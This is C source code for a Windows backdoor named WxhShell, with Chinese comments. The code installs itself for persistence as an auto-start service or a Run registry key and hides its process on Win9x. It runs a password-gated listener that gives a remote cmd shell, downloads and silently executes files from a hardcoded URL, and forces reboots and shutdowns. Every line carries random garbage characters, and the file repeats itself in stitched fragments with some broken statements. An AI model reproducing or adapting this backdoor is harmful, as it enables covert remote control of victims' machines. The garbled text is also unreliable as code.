    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ht 1d[  
    if(Boot(SHUTDOWN)) O^,%V{]6\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n6Qsug$z  
    else { fyE#8h_>4  
    closesocket(wsh); <4|/AF*>  
    ExitThread(0); jA}b=c  
    } H<`<5M8  
    break; ?]]d s]  
    } t5Oeb<REz  
  // 获取shell n$oHr  
  case 's': { ',Q|g^rF]  
    CmdShell(wsh); @ysc?4% q  
    closesocket(wsh); O<o>/HH$  
    ExitThread(0); TppuEC>  
    break; FbWcq_  
  } p2/Pj)2  
  // 退出 <_N<L\  
  case 'x': { (6Tvu5*4U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9_  
    CloseIt(wsh); @z-%:J/$  
    break; C@3`n;yZ=  
    } k:qS'  
  // 离开 t) :'XGk@  
  case 'q': { Jb (CH4|7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "A]Xe[oS  
    closesocket(wsh); Y%1 94fY$  
    WSACleanup(); #NZ#G~oeO  
    exit(1); %A^V@0K3  
    break; Lq6R_ud p  
        } !Enq2  
  } nde_%d$  
  } O8Dav^\y?  
#{DX*;1m  
  // 提示信息 -$2a@K,i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Bi>T15e  
} \QvoL  
  } .;$Ub[  
Z.l4<  
  return; "-T[D9(A  
} {gkzo3  
y2{uEbA  
// shell模块句柄 @?vC4+'  
int CmdShell(SOCKET sock) 3HEm-pok  
{ [(rT,31cW  
STARTUPINFO si; 2Pm[ kD4E=  
ZeroMemory(&si,sizeof(si)); Kt#_Ln_6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K!,T.qA&=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xk*&zAt  
PROCESS_INFORMATION ProcessInfo; |8q:sr_  
char cmdline[]="cmd"; !y\r.fm!A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?`lD|~  
  return 0; 1)o6jGQ  
} K'_qi8Z  
.C*mDi)wZ  
// 自身启动模式 hl]q6ZK!6  
int StartFromService(void) teKx^ 'c'  
{ { )-8P  
typedef struct 2<FEn$n[  
{ [eO^C  
  DWORD ExitStatus; FMi:2.E  
  DWORD PebBaseAddress; `+m:@0&L  
  DWORD AffinityMask; ?Gl]O3@3  
  DWORD BasePriority; N<PDQ  
  ULONG UniqueProcessId; @xXVJWEU:  
  ULONG InheritedFromUniqueProcessId; 0,/I2!dF?  
}   PROCESS_BASIC_INFORMATION; s(Bcw`'#  
hp1+9vEN  
PROCNTQSIP NtQueryInformationProcess; :pfLa2f+  
?o6X_UxW!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &,l(2z[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; * '_(.Z:  
O joa3  
  HANDLE             hProcess; 3_ly"\I\  
  PROCESS_BASIC_INFORMATION pbi; T-LX>*  
@ry/zG#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a$j ~YUG_  
  if(NULL == hInst ) return 0; 3=Q:{  
F8S>Ld  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |A/H*J,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^) (-7H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RR+{uSO,t  
*`q?`#1&&.  
  if (!NtQueryInformationProcess) return 0; \xlG3nz  
+Bf?35LP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &|<f|B MX  
  if(!hProcess) return 0; en'"" w  
)n]" ~I^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z2>LjM) #  
q;}iW:r&Q  
  CloseHandle(hProcess); 6w=`0r3hy  
Mj{w/'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2t4\L3  
if(hProcess==NULL) return 0; MkL)  
En:>c  
HMODULE hMod; m"T}em#   
char procName[255]; =?c""~7  
unsigned long cbNeeded; 0k#7LubWZl  
|r*)U(c`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '4nJ*Xa  
[~u&#!*W  
  CloseHandle(hProcess); zXM,cV/s   
,3!$mQL=  
if(strstr(procName,"services")) return 1; // 以服务启动 1~'jC8&J  
8PzGUn;\  
  return 0; // 注册表启动 HhL;64OYa  
} @)BO`;*$fF  
> 1(J  
// 主模块 n m<?oI*\  
int StartWxhshell(LPSTR lpCmdLine) f"KrPx!^b  
{ NJ)Dw`|%|)  
  SOCKET wsl; j)2I+[aoB  
BOOL val=TRUE; <)p.GAZ  
  int port=0; r=&,2meo  
  struct sockaddr_in door; 59O-"Sc[  
G[\TbPh  
  if(wscfg.ws_autoins) Install(); o]~\u{o#.  
X%+lgm+  
port=atoi(lpCmdLine); J Cq>;br.  
~L"$(^/  
if(port<=0) port=wscfg.ws_port; +]s,VSL5`  
`XhH{*Q"X  
  WSADATA data; 0muC4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >;^/B R=  
Lx wi"ndP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rNR7}o~qo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~PI2G 9  
  door.sin_family = AF_INET; HMCLJ/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V2ih/mh   
  door.sin_port = htons(port); Hi A E9  
G;3%k.{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _"ciHYHBQ  
closesocket(wsl); %+H_V1F  
return 1; R(d<PlZ  
} `UTPX'Vz  
:YI5O/gsk?  
  if(listen(wsl,2) == INVALID_SOCKET) { B S*79heY  
closesocket(wsl); "_q~S$i^  
return 1; >`\.i,X .D  
} q1T)H2S  
  Wxhshell(wsl); AP=h*1udk  
  WSACleanup(); >jX "  
n@8Y6+7i  
return 0; UDh \%?j  
V 9Qt;]mQ  
} &KjMw:l  
]~aj  
// 以NT服务方式启动 `qc"JB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nzC *mPX8  
{ rO7_K>g?  
DWORD   status = 0; w'K7$F51  
  DWORD   specificError = 0xfffffff; "pM >TMAE  
w$:\!FImx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "[N2qJ}p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `NN P<z+\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2g= 6 s  
  serviceStatus.dwWin32ExitCode     = 0; J<0{3pZY  
  serviceStatus.dwServiceSpecificExitCode = 0; |9jK-F6   
  serviceStatus.dwCheckPoint       = 0; t`Kpbfk  
  serviceStatus.dwWaitHint       = 0; ga;nM#/  
0]4X/u#N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E7L>5z  
  if (hServiceStatusHandle==0) return; O>' }q/  
k24I1DlR8  
status = GetLastError(); KnkmGy  
  if (status!=NO_ERROR) LP"g(D2'n  
{ 8\rca:cF   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p< 7rF_?W0  
    serviceStatus.dwCheckPoint       = 0; vwT1bw.  
    serviceStatus.dwWaitHint       = 0; !-lI<$S:  
    serviceStatus.dwWin32ExitCode     = status; 1eD#-tzV  
    serviceStatus.dwServiceSpecificExitCode = specificError; K,g6y#1"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dHDtY$/_  
    return; VW*%q0i-  
  } $VmV>NZ  
Qn$'bK2V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I6^y` 2X  
  serviceStatus.dwCheckPoint       = 0; +j 9+~  
  serviceStatus.dwWaitHint       = 0; %unn{92)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =Fz mifTc  
} t{] 6GlW  
ww{k_'RRJ  
// 处理NT服务事件,比如:启动、停止 0eA <nK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u&l;\w  
{ ~EBaVl ({  
switch(fdwControl) jWUrw  
{ mfj{_fR3  
case SERVICE_CONTROL_STOP: XZOBK^,5^B  
  serviceStatus.dwWin32ExitCode = 0; Tv|'6P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E <yQB39  
  serviceStatus.dwCheckPoint   = 0; _/:--Z  
  serviceStatus.dwWaitHint     = 0; 5$U49j  
  { 96\FJHt Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :rr<#F  
  } dzIBdth  
  return; DNmC   
case SERVICE_CONTROL_PAUSE: =#2%[kGq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %`$bQU  
  break; | d*<4-:  
case SERVICE_CONTROL_CONTINUE: \*MZ 1Q*x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <2(X?,N5BD  
  break; >7WT4l)7!b  
case SERVICE_CONTROL_INTERROGATE: F[c oa5  
  break; F7}yt  
}; &5HI   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #sU>L=  
} W _[9  
'cCM[P+  
// 标准应用程序主函数 :30daKo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r`ftflNh(  
{ D Z~036  
*fY*Wy9  
// 获取操作系统版本 %Ok#~>c  
OsIsNt=GetOsVer(); PdKcDKJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %5L~&W}^"  
&4wSX{c/P  
  // 从命令行安装 x6aVNH=  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;- i)}<  
}G(#jOYk  
  // 下载执行文件 ZXhNn<  
if(wscfg.ws_downexe) {  =glG |  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *[>{ 9V  
  WinExec(wscfg.ws_filenam,SW_HIDE); fhk(<KZvJ  
} ([m4 dr  
6oWFjeZ0  
if(!OsIsNt) { ]@_|A, ]  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z2;~{$&M+  
HideProc(); 7yG%E  
StartWxhshell(lpCmdLine); Wu,=jL3?$A  
} ybf,pDY#f  
else ht\_YiDg3  
  if(StartFromService())  <}^p5|  
  // 以服务方式启动 "Ml#,kU<T  
  StartServiceCtrlDispatcher(DispatchTable); 9n5uO[D  
else v%#@.D!)  
  // 普通方式启动 1< b~="  
  StartWxhshell(lpCmdLine); *"jlsI  
Us[F@  
return 0; 1)u,%  
} U4"&T,'lTL  
9r:|u:i7m  
CT\rx>[J.6  
uv$utu>< *  
=========================================== 0#5&*  
3?k<e  
njNqUo>  
sC f)#6mI  
h1Y^+A_  
eiA$) rzy  
" >TGc0 z+  
8XCT[X  
#include <stdio.h> A(XX2f!i  
#include <string.h> U[pR `u  
#include <windows.h> !(S.7#-r  
#include <winsock2.h> xyV7MW\?w  
#include <winsvc.h> 3#uc+$[  
#include <urlmon.h> Rto/-I0l  
DEPsud;  
#pragma comment (lib, "Ws2_32.lib") T7Y+ WfYh  
#pragma comment (lib, "urlmon.lib") 16ip:/5  
F)aF.'$-/  
#define MAX_USER   100 // 最大客户端连接数  u7&5t  
#define BUF_SOCK   200 // sock buffer P#:nXc$  
#define KEY_BUFF   255 // 输入 buffer 9+Wf*:*EW  
*aYuuRx  
#define REBOOT     0   // 重启 &`g^b^i  
#define SHUTDOWN   1   // 关机 r.]IGE|  
8NWuhRRrw  
#define DEF_PORT   5000 // 监听端口 @E> rqI;`  
i"^ y y+  
#define REG_LEN     16   // 注册表键长度 7?y([i\y  
#define SVC_LEN     80   // NT服务名长度 q:wz!~(>  
&jrc]  
// 从dll定义API 7Zft]C?|@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gP ^A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |lIgvHgg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b6""q9S!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $GD Q1&Z  
;6=*E'  
// wxhshell配置信息 S""F58 H n  
struct WSCFG { ,W$&OD  
  int ws_port;         // 监听端口 ~'Korxa  
  char ws_passstr[REG_LEN]; // 口令 EQy~ ^7V B  
  int ws_autoins;       // 安装标记, 1=yes 0=no MdnapxuS  
  char ws_regname[REG_LEN]; // 注册表键名 %YG[?"P'  
  char ws_svcname[REG_LEN]; // 服务名 5',&8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F~GIfJU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S;u 2B_/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0|mC k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )SaMfP1=v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &'m&'wDt:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -c[fg+L9  
1/=6s5vS}  
}; ,C^u8Z|T  
fKkS_c 2  
// default Wxhshell configuration DH])Q5  
struct WSCFG wscfg={DEF_PORT, |4Os_*tRKU  
    "xuhuanlingzhe", Dyj>dh-  
    1, $F@ ,,*  
    "Wxhshell", `cFNO:  
    "Wxhshell", Cv< s|  
            "WxhShell Service", wYd{X 8$  
    "Wrsky Windows CmdShell Service", %\1W0%w  
    "Please Input Your Password: ", 3g3Znb  
  1, p%+'iDb  
  "http://www.wrsky.com/wxhshell.exe", WFfn:WSWU  
  "Wxhshell.exe" N3\vd_D(  
    }; r_Pi)MPc  
v+DXs!O{  
// 消息定义模块 S0lt _~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CH0Nkf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H6M G5f_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XJA];9^  
char *msg_ws_ext="\n\rExit."; pE{Ecrc3|  
char *msg_ws_end="\n\rQuit."; ]4,eCT  
char *msg_ws_boot="\n\rReboot..."; +DYsBCVbag  
char *msg_ws_poff="\n\rShutdown..."; n}8}:3"  
char *msg_ws_down="\n\rSave to "; OyIIJ!(  
be HEAQ  
char *msg_ws_err="\n\rErr!"; 0\wW%3C  
char *msg_ws_ok="\n\rOK!"; n"Wlfd0  
|+Tq[5&R  
char ExeFile[MAX_PATH]; Am"&ApK  
int nUser = 0; PeJIa %iE  
HANDLE handles[MAX_USER]; Cq}E5M  
int OsIsNt; :c9 H2  
sV]I]DR  
SERVICE_STATUS       serviceStatus; rw[Ioyr-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CEBa,hp@  
a" L9jrVrw  
// 函数声明 CsN^u H  
int Install(void); [$ z-  
int Uninstall(void); M]SeNYDy  
int DownloadFile(char *sURL, SOCKET wsh); f7&9IW`7F^  
int Boot(int flag); pz]! T'  
void HideProc(void); 0CK3jdZ+X  
int GetOsVer(void); *$@u`nM  
int Wxhshell(SOCKET wsl); YRU95K [  
void TalkWithClient(void *cs); JgBC:t^\pV  
int CmdShell(SOCKET sock); m%s:4Z%=  
int StartFromService(void); ~,.;2K73  
int StartWxhshell(LPSTR lpCmdLine); !i\ gCLg2_  
e s<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QSOG(}w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I5ZM U  
P+DIo7VTX  
// 数据结构和表定义 }ldpudU  
SERVICE_TABLE_ENTRY DispatchTable[] = iWIq~t*,H]  
{ i ;^Ya  
{wscfg.ws_svcname, NTServiceMain}, 9T0g%&  
{NULL, NULL} `i<Z< <c>  
}; ^%!#Q].  
eg24.W9c  
// 自我安装 "Cs36k  
int Install(void) 9+3 VK  
{ IL`=r6\  
  char svExeFile[MAX_PATH]; ER0B{b  
  HKEY key; d{Owz&PL  
  strcpy(svExeFile,ExeFile); BAtjYPX'w  
/@I`V?Q!a  
// 如果是win9x系统,修改注册表设为自启动 JX{_,2*$  
if(!OsIsNt) { "uFwsjz&B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (p<pF].  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gU1Pb]]  
  RegCloseKey(key); KtGbpcS$f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O&,8X-Ix  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <T&v\DN  
  RegCloseKey(key); I5 qrHBJ >  
  return 0; Fu 5c_"!  
    } mhB2l/  
  } '.k'*=cq0  
} _n_()at)  
else { +}PN+:yV  
d</F6aM\  
// 如果是NT以上系统,安装为系统服务 'gHg&E9E&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kxg@(Q  
if (schSCManager!=0) uqLP$At  
{ fH$#vRcq  
  SC_HANDLE schService = CreateService 9Vo*AK'&U  
  ( 3R0ioi 7  
  schSCManager, (|NCxey  
  wscfg.ws_svcname, PcqS#!t  
  wscfg.ws_svcdisp, n 4y]h  
  SERVICE_ALL_ACCESS, p4 =/rkq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A\#z<h[>  
  SERVICE_AUTO_START, D~#%^a+Aq_  
  SERVICE_ERROR_NORMAL, @\o"zU  
  svExeFile, Rc &m4|cw7  
  NULL, )Yv=:+f  
  NULL, ?^W1WEBm  
  NULL, c+ e~BN  
  NULL, ex6R=97uA  
  NULL i;-M8Q^  
  ); `G_~zt/  
  if (schService!=0) aU^6FI  
  { n,2   
  CloseServiceHandle(schService); {/H<_  
  CloseServiceHandle(schSCManager); O1S7t)ag  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >7zC-3  
  strcat(svExeFile,wscfg.ws_svcname); 8'%m!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cR_pC 9z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *BdH &U  
  RegCloseKey(key); n\3#69VY  
  return 0; h<TZJCt  
    } DA.k8M  
  } P_w4 DU  
  CloseServiceHandle(schSCManager); 1^^8,.'  
} ;RRw-|/Wm  
} ?_i >Kx  
X;N?L%Pp  
return 1; yCvtglAJ4  
} !*Eu(abD  
q\]X1N  
// 自我卸载  dC{dw^  
int Uninstall(void) N)G HQlgH  
{ .<F46?HS  
  HKEY key; #Pp:H/b  
^n(FO,8c  
if(!OsIsNt) { ?VmgM"'md  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0B7G:X0  
  RegDeleteValue(key,wscfg.ws_regname);  2Y23!hw  
  RegCloseKey(key); ?'z/S5&j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T7.Iqw3p  
  RegDeleteValue(key,wscfg.ws_regname); fy4zBI@  
  RegCloseKey(key);  o+'|j#P  
  return 0; A*?PH`bY  
  } rR-[CT  
} abQ.N  
} e;"J,7@  
else { Y?NL|cW4  
YHQ]]#'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "!V`_ S;  
if (schSCManager!=0) i[IFD]Xy!j  
{ Hf?@<4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .Y;f 9R  
  if (schService!=0) y>aO90wJ  
  { m0TVi]v  
  if(DeleteService(schService)!=0) { u9OY Jo  
  CloseServiceHandle(schService); 1vj@ qw3  
  CloseServiceHandle(schSCManager); ~ p? ArZb  
  return 0; -&>V.hi7  
  } ['=O>YY  
  CloseServiceHandle(schService); W_ `]7RO8  
  } mG&A_/e!9  
  CloseServiceHandle(schSCManager); ,bl }@0A  
} k773h`;  
} M/=36{,w-  
+9b{Y^^~T  
return 1; )bOfs*S  
} OR+qi*)  
C!*!n^qA  
// 从指定url下载文件 YQ G<Q  
int DownloadFile(char *sURL, SOCKET wsh) 6MT (k:  
{ dgkS5Q$/  
  HRESULT hr; V2Vr7v=Y"  
char seps[]= "/"; b?i+nh qI  
char *token; #y:D{%Wp  
char *file; ls^Z"9P  
char myURL[MAX_PATH]; 1RYrUg"s"  
char myFILE[MAX_PATH]; e.n(NW  
>o?v[:u*  
strcpy(myURL,sURL); ~Kw#^.$3T  
  token=strtok(myURL,seps); \9VF)Y.ke  
  while(token!=NULL) kP ]Up&'  
  { W\~^*ny P6  
    file=token; :snO*Zg  
  token=strtok(NULL,seps); \"a{\E,{;  
  } 4`5yrC d  
v745F Iy<  
GetCurrentDirectory(MAX_PATH,myFILE); d&j  
strcat(myFILE, "\\"); 7y'uZAF  
strcat(myFILE, file); Lb/GL\J)  
  send(wsh,myFILE,strlen(myFILE),0); 2 |je{  
send(wsh,"...",3,0); 1D*=ZkA)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .T'@P7Hdx  
  if(hr==S_OK) ]c/E7|0Q  
return 0; F^u12R)  
else 4nsJZo#S/  
return 1; e2O6q05 ?Q  
$d?W1D<A  
} D@bGJc0  
,;`f* #  
// 系统电源模块 MUrPr   
int Boot(int flag) puC91  
{ b7QE  
  HANDLE hToken; *jlIV$r_  
  TOKEN_PRIVILEGES tkp; 4@ PA+(kvS  
%!<Y  
  if(OsIsNt) { 4V JUu`[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R=z])  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yix[zfQt0  
    tkp.PrivilegeCount = 1; [;u#79aE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |?!i},Ki;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); = s&Rk~2b/  
if(flag==REBOOT) { ue_wuZi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |bY@HpMp  
  return 0; _?tpO61g>  
} f>N DtG.6  
else { {X!OK3e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %O"8|ZG9{  
  return 0; ]@{Lx>Oh"  
} K zWo}tT  
  } VfoWPyWD#  
  else { en<~_|J  
if(flag==REBOOT) { 4{P+p!4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p `"k=tZ{  
  return 0; n4K!Wv&u  
} }Le]qR9Y]  
else { AC,RS 7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }%|ewy9|CW  
  return 0; Gw*Tz"  
} `/8@Fj  
} |mEWN/@C  
i>m%hbAk  
return 1; ^tB 1Nu %  
} a1Fx|#! mq  
5hrI#fpOR  
// win9x进程隐藏模块 B~]Kqp7yU  
void HideProc(void) qRt!kWW  
{ ={BD*= i  
$L/`nd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y}?8  
  if ( hKernel != NULL ) vSgT36ZF  
  { jP+yN|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zggnDkC5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?.~1%l!  
    FreeLibrary(hKernel); zx.qN  
  } B~Sj#(WEa  
n]4E>/\  
return; RTOA'|[0M  
} -  x  
ai !u+L  
// 获取操作系统版本 NoI|Dz  
int GetOsVer(void) R N$vKJk  
{ \nl(tU#j  
  OSVERSIONINFO winfo; :/5m D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 78& |^sq  
  GetVersionEx(&winfo); 0Hnj<|HL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :j\7</uu  
  return 1; !]4u"e  
  else 1Bh"'9-!JT  
  return 0; (,|,j(=]  
} \6b~$\~B  
@v-^j  
// 客户端句柄模块 &YhAB\Rw  
int Wxhshell(SOCKET wsl) '.A!IGsj  
{ sy&[Q{,4  
  SOCKET wsh; e(c\U}&  
  struct sockaddr_in client; bZu'5+(@  
  DWORD myID; $WA wMS,  
Oa[  
  while(nUser<MAX_USER) N`8K1{>BH  
{ C=?S  
  int nSize=sizeof(client); 0z8(9DlTc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); egoR])2>  
  if(wsh==INVALID_SOCKET) return 1; 'xW=qboOp  
.3 EZk86  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MO`Y&<g~A  
if(handles[nUser]==0) "j>X^vn  
  closesocket(wsh); %cF`x_h[j  
else eg[EFI.h  
  nUser++; i<uU_g'M  
  } DB vM.'b$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v?8WQNy  
Wf~^,]9N  
  return 0; ?t/qaUXN  
} 15:9JVH3D  
(i&+=+"wn  
// 关闭 socket Jqoo&T")  
void CloseIt(SOCKET wsh) 8Km&3nCv$Q  
{ N_Us6 X  
closesocket(wsh); L8 P0bNi  
nUser--; osp~)icun  
ExitThread(0); *xnZTj:  
} Ycr3$n]e  
Wt.DL mO  
// 客户端请求句柄 *>m[ZJd%=  
void TalkWithClient(void *cs) .f~9IAXP`  
{ KzHN|8 $o  
g]~vZj  
  SOCKET wsh=(SOCKET)cs; 9*"  
  char pwd[SVC_LEN]; 5`h 6oFxGp  
  char cmd[KEY_BUFF]; r)<A YX]J  
char chr[1]; *yZ6"  
int i,j; T?3Q<[SmI  
a %#UF@ I  
  while (nUser < MAX_USER) { _}[ Du/c  
kowS| c#  
if(wscfg.ws_passstr) { f;E#CjlTL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J*@pM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^t0!Dbx3SE  
  //ZeroMemory(pwd,KEY_BUFF); 196aYLE  
      i=0; C[FHqo9M?H  
  while(i<SVC_LEN) { jCqz^5=$  
f&-`+V}U  
  // 设置超时 %" iX3  
  fd_set FdRead; \8CCa(H  
  struct timeval TimeOut; E '6>3n  
  FD_ZERO(&FdRead); `KQx#c>'  
  FD_SET(wsh,&FdRead); @IG's-  
  TimeOut.tv_sec=8; LnR>!0:c  
  TimeOut.tv_usec=0; Du_5iuMh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zs=3e~o3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MlV(XG>'  
E%w^q9C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @eYpARF  
  pwd=chr[0]; <) * U/r  
  if(chr[0]==0xd || chr[0]==0xa) { fU6YJs.H^8  
  pwd=0; Nd0tR3gi7  
  break; #A)V  
  } )zL@h  
  i++; y 4i3m(S  
    } }aWy#Oe  
:9&c%~7B9  
  // 如果是非法用户,关闭 socket <Jgcj 4D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :qm\FsO  
} o U=vl!\J  
&d6@ SQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 66val"^W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $PJ==N  
e!VtDJDS  
while(1) { 'lIs`Zc5N  
ZSf &M  
  ZeroMemory(cmd,KEY_BUFF); rbvk.:"^w  
xs= ~N  
      // 自动支持客户端 telnet标准   yTZev|ej@  
  j=0; VR (R.  
  while(j<KEY_BUFF) { rC8p!e.yL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sVyV|!K  
  cmd[j]=chr[0]; >)M{^  
  if(chr[0]==0xa || chr[0]==0xd) { OnTe_JML  
  cmd[j]=0; ytttF5-  
  break; 3d}v?q78  
  } x^1udK^re  
  j++; W )FxN,  
    } x2!R&q8U>  
"2mPWRItO  
  // 下载文件 &y!?R$?b  
  if(strstr(cmd,"http://")) { %IsodtkDu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .`Rt   
  if(DownloadFile(cmd,wsh)) +byOThuE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +a5F:3$  
  else ACyK#5E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "3RFy i  
  } n&[CTOV  
  else { Z- feMM  
xF8r+{_J)  
    switch(cmd[0]) { 01A{\O1$j  
  W,4!"*+  
